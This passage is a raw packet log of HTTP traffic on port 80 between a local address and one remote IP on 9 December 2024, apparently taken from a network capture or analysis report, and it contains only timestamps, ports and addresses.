Dec 9, 2024 18:20:07.829252005 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.829334974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.829381943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.831011057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.831051111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.831084013 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.831125021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.832665920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.832709074 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.832807064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.832851887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.834470987 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.834518909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.834551096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.834587097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.836214066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.836260080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.836437941 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.836477041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.837928057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.837977886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.838057041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.838109016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.839719057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.839767933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.839869022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.839912891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.841533899 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.841578960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.841690063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.841739893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.843244076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.843291998 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.843339920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.843391895 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.845009089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.845057011 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.845099926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.845139980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.846671104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.846719027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.846752882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.846792936 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.848213911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.848273993 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.848337889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.848377943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.849912882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.849955082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.849992037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.850030899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.851660967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.851712942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.851881981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.851929903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.853177071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.853235960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.888895035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.888997078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.889062881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.889106035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.889477968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.889525890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.889611006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.889653921 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.890470982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.890528917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.890614986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.890661001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.891702890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.891766071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.891799927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.891861916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.893238068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.893302917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.893456936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.893505096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.894296885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.894349098 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.894440889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.894485950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.895593882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.895648956 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.895709038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.895765066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.896927118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.896987915 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.897026062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.897068977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.898220062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.898284912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.898355961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.898400068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.899555922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.899607897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.899620056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.899665117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.900826931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.900908947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.900942087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.900986910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.902530909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.902600050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.902632952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.902674913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.903670073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.903723955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.903760910 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.903800964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.904783964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.904831886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.904864073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.904903889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.906246901 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.906305075 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.906325102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.906366110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.907779932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.907840967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.907881975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.907922983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.909053087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.909105062 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.909145117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.909188032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.910249949 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.910286903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.910310984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.910341978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.911307096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.911393881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.911494017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.911540985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.912686110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.912734032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.912811041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.912852049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.913832903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.913882971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.919079065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.919157028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.919199944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.919243097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.919680119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.919728041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.919759035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.919806004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.920744896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.920794964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.920826912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.920869112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.922029018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.922070026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.922148943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.922185898 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.923363924 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.923407078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.923472881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.923513889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.924643040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.924699068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.924786091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.924828053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.926084042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.926127911 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.926184893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.926222086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.927237034 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.927275896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.927356005 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.927395105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.928519964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.928561926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.928632975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.928678036 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.929887056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.929933071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.929997921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.930039883 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.931210995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.931256056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.977049112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.977108002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.977288961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.977329969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.977551937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.977592945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.977670908 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.977708101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.978666067 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.978723049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.978777885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.978817940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.979867935 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.979912043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.980003119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.980041981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.981013060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.981053114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.981075048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.981117964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.982043982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.982093096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.982153893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.982197046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.983184099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.983227968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.983280897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.983335972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.984380960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.984424114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.984452963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.984488964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.985465050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.985532999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.985558033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.985625982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.986633062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.986675978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.986763954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.986804962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.987891912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.987935066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.987950087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.987988949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.989272118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.989315033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.989337921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.989372969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.990025997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.990066051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.990158081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.990195990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.991096973 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.991139889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.991216898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.991255045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.992271900 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.992316008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.992382050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.992417097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.993457079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.993499041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.993588924 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.993634939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.994497061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.994540930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.994607925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.994709969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.995615959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.995663881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.995723009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.995757103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.996758938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.996800900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.996952057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.996994972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.997908115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.997951031 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.997965097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.998008966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.999089956 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.999133110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.999217033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.999260902 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.000148058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.000190020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.000247002 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.000288010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.001457930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.001506090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.001524925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.001566887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.002346039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.002388000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.080847979 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.080921888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.080977917 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.081031084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.081402063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.081450939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.081623077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.081665993 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.081799984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.081846952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.082801104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.082851887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.082942009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.082988977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.083875895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.083924055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.084075928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.084120035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.085300922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.085361958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.085417032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.085478067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.086276054 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.086337090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.086462975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.086507082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.087341070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.087393045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.087503910 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.087547064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.088417053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.088459015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.088499069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.088553905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.089534998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.089581966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.089620113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.089663982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.090643883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.090691090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.090759993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.090801001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.091820002 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.091864109 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.091905117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.091963053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.092907906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.092952967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.093041897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.093084097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.094095945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.094140053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.094223976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.094264984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.095204115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.095269918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.095382929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.095427036 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.096398115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.096440077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.096553087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.096599102 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.097412109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.097459078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.097492933 CET	80	49707	185.215.113.206	192.168.2.6
